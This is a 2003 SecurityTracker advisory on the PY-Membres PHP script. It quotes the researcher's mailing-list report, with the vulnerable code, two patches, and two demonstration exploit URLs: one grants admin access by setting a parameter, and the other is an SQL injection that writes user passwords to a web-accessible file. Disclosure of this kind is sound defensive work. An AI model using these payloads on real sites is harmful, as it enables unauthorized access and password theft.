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PY-Membres Input Validation Flaw in 'pass_done.php' Permits SQL Injection
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SecurityTracker Alert ID: 1007581
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Aug 26 2003
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 4.0, 4.1, 4.2
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Description: An input validation vulnerability was reported in PY-Membres in the 'pass_done.php' script. A remote user can execute SQL commands and obtain user passwords. A remote user can also gain administrative access.
Frog-m@n reported that a remote user can set the 'adminpy' variable when calling the 'admin/secure.php' script to be successfully
authenticated as an administrator. A demonstration exploit URL is provided:
http://[target]/admin/admin.php?adminpy=1
Also,
an input validation vulnerability in the 'pass_done.php' script lets a remote user inject SQL commands to be executed by the underlying
SQL database. This flaw can be exploited if magic_quotes_gpc is set to 'OFF' in the 'php.ini' configuration file. A remote user
can submit a specially crafted query to retrieve the password for any specified user on the application. A demonstration exploit
URL is provided:
http://[target]/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/complete/path/file.txt
The
above listed exploit URL will cause passwords to be written to the 'file.txt' file in a web-accessible directory (from which the
remote user can then retrieve the file).
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Impact: A remote user can gain administrative access to the application.
A remote user can execute SQL queries on the system. Using this method, a remote user can view the passwords for any user on the application.
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Solution: No solution was available at the time of this entry.
An unofficial patch is available at:
http://www.phpsecure.info/
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Vendor URL: www.scripts-php.com/index.php?page=script&pyid=3 (Links to External Site)
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Cause: Access control error, Authentication error, Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: "Frog Man" <leseulfrog@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: Tue, 26 Aug 2003 17:03:33 +0200
From: "Frog Man" <leseulfrog@hotmail.com>
Subject: [VulnWatch] [PHP] PY-Membres 4.2 : Admin Access, SQL Injection
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Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 4.0, 4.1, 4.2 (and less ?)
Website : http://www.scripts-php.com
Problems :
- Admin Access
- SQL Injection
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
admin/secure.php :
----------------------------------------------
<?
if (!isset($adminpy) && $adminpy !== "$admin")
Header("Location: index.php");
exit;
?>
----------------------------------------------
pass_done.php :
-----------------------------------------------------------------------------------------------------
------------------------
[...]
if($Submit)
connexiondb();
$query = mysql_query("SELECT login, passwd FROM $db_table WHERE
email='$email'");
list($login, $passwd) = mysql_fetch_row($query);
$nb=mysql_num_rows($query);
if($nb<1)
{ echo"<script language=\"Javascript\">alert('Aucun membre ne correspond à
votre e-mail !');window.location='pass_done.php';</script>";
exit;}
[...]
-----------------------------------------------------------------------------------------------------
------------------------
Exploits :
°°°°°°°°
http://[target]/admin/admin.php?adminpy=1
http://[target]/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/compl
ete/path/file.txt
Patch :
°°°°°°°
A patch and more details can be found on http://www.phpsecure.info.
In admin/secure.php, just replace the line :
----------------------------------------------
if (!isset($adminpy) && $adminpy !== "$admin")
----------------------------------------------
by :
----------------------------------------------
if (!isset($adminpy) || $adminpy !== "$admin")
----------------------------------------------
And in pass_done.php, add the line :
----------------------------
$email = addslashes($email);
----------------------------
just before :
---------------------------------------------------------------------------------
$query = mysql_query("SELECT login, passwd FROM $db_table WHERE
email='$email'");
---------------------------------------------------------------------------------
frog-m@n
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